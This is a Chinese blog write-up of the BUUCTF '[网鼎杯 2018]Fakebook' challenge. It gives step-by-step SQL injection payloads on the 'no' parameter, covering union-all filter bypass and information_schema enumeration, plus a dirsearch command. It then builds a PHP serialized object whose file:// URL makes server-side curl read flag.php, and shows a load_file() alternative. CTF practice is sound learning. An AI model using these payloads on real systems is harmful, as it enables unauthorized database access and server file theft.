buu-[网鼎杯 2018]Fakebook

考点1.sql注入

启动靶机得到如下页面:

 

 

 

 

发现有login和join两个选项

Join就相当于注册,注册完它会自动登录

 

 

 

然后来到如下页面

 

 

 

我们注意到username下的字段是可以点击的,点击后跳转到如下页面

 

 

 

然后我们注意到url后面有个no=1的参数,猜测存在sql注入

加个单引号得到报错

 

 

 

果然存在注入,其次发现它是个数字型的注入,使用2-1,得到1的回显

 

 

 

然后,我们可以开始注入了

首先,使用order by测列数

在测到五列时报错

 

 

 

说明只有四列

然后就可以使用union select 1,2,3,4看注入点

 

 

 

但我们发现被过滤了

然后我们使用union all select 1,2,3,4成功绕过

 

 

 

这里要注意需要把no=1改掉,不然得不到后面的回显,这里把它改成-1

 

 

 

发现在2处存在注入点

 

 

 

然后注意到这里有个unserialize,猜测存在序列化,暂时不知道在哪需要序列化,先放着

在知道2是注入点后,我们开始测数据库名

no=-1 union all select 1,database(),3,4

 

 

 

得到数据库名fakebook

再测表名

no=-1 union all select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()

 

 

 

得到表名users

再测列名

no=-1 union all select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='users'

 

 

 

这里需要注意因为数据库里不只这一个库里包含users表,后面大写的是其他数据库里的users表内容

猜测信息在data里,测里面的内容

no=-1 union all select 1,group_concat(data),3,4 from fakebook.users

 

 

 

最后得到序列化后的结果

是我们注册的账号,且被序列化输出

那就要考序列化了。一般不会让我们自己猜,肯定会给源码让我们构造的。我们进行扫描

考点2.目录扫描

我用的是dirsearch,在buu里进行扫描需要设置线程。

命令:

python dirsearch.py -u http://df620cba-d0c8-4572-9070-2f55fb89c8fe.node4.buuoj.cn:81/ -e * --timeout=2 -t 1 -x 400,403,404,500,503,429
#-u 扫描的url
#-e 扫描的目录后缀
#-t 设置扫描线程
#-x 排除指定的网站状态码(用逗号隔开)

 

 

 

查看robots.txt

访问得到

 

 

下载后得到源码

<?php
class UserInfo { public $name = ""; public $age = 0; public $blog = ""; public function __construct($name, $age, $blog) { $this->name = $name; $this->age = (int)$age; $this->blog = $blog; } function get($url) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $output = curl_exec($ch); $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); if($httpCode == 404) { return 404; } curl_close($ch); return $output; } public function getBlogContents () { return $this->get($this->blog); } public function isValidBlog () { $blog = $this->blog; return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog); } }

考点3.代码审计

进行代码审计,重点在这一块

 

 

【*】curl_init : 初始化一个curl会话,供curl_setopt(), curl_exec()和curl_close() 函数使用。

 

【*】curl_setopt : 请求一个url。

其中CURLOPT_URL表示需要获取的URL地址,后面就是跟上了它的值。

 

【*】CURLOPT_RETURNTRANSFER 将curl_exec()获取的信息以文件流的形式返回,而不是直接输出。

 

【*】curl_exec,成功时返回 TRUE, 或者在失败时返回 FALSE。 然而,如果 CURLOPT_RETURNTRANSFER选项被设置,函数执行成功时会返回执行的结果,失败时返回 FALSE 。

 

【*】CURLINFO_HTTP_CODE :最后一个收到的HTTP代码。

curl_getinfo:以字符串形式返回它的值,因为设置了CURLINFO_HTTP_CODE,所以是返回的状态码。

如果状态码不是404,就返回exec的结果。

 

再来看看get函数在哪里调用

 

 

这里就清楚了,传的参数是blog。

进行序列化,curl可用file协议,所以这里使用file协议读取文件。file:///var/www/html/flag.php

因为源码最后限制了blog的格式,所以我们只能使用序列化把blog注入进去

考点4.序列化

然后我们利用源码构造序列化

<?php
class UserInfo
{
    public $name = "2";
    public $age = 2;
    public $blog = "file:///var/www/html/flag.php";
}
$a=new UserInfo();
echo serialize($a);
     
 ?>

 

 

 

 

 

因为列名里面没有blog,所以我们要设置的点就是data那里了,所以在第四列进行注入,需要把序列化的句子包在单引号里

构造payload:

no=-1 union all select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'

 

 

 

关于此处为什么可以注入,因为union select会创建一个虚拟存储

例:

 

 

查看源码

 

 

 

进行base64解码

 

非预期解

还有个非预期解

使用load_file()函数,直接得到flag

payload:no=-1 union/**/select 1,load_file('/var/www/html/flag.php'),3,4

 

 

 

直接在源码里得到flag

 

参考:[网鼎杯 2018]Fakebook_H9_dawn的博客-CSDN博客

 

posted @ 2021-10-08 11:47  ling-lz  阅读(371)  评论(0编辑  收藏  举报
Live2D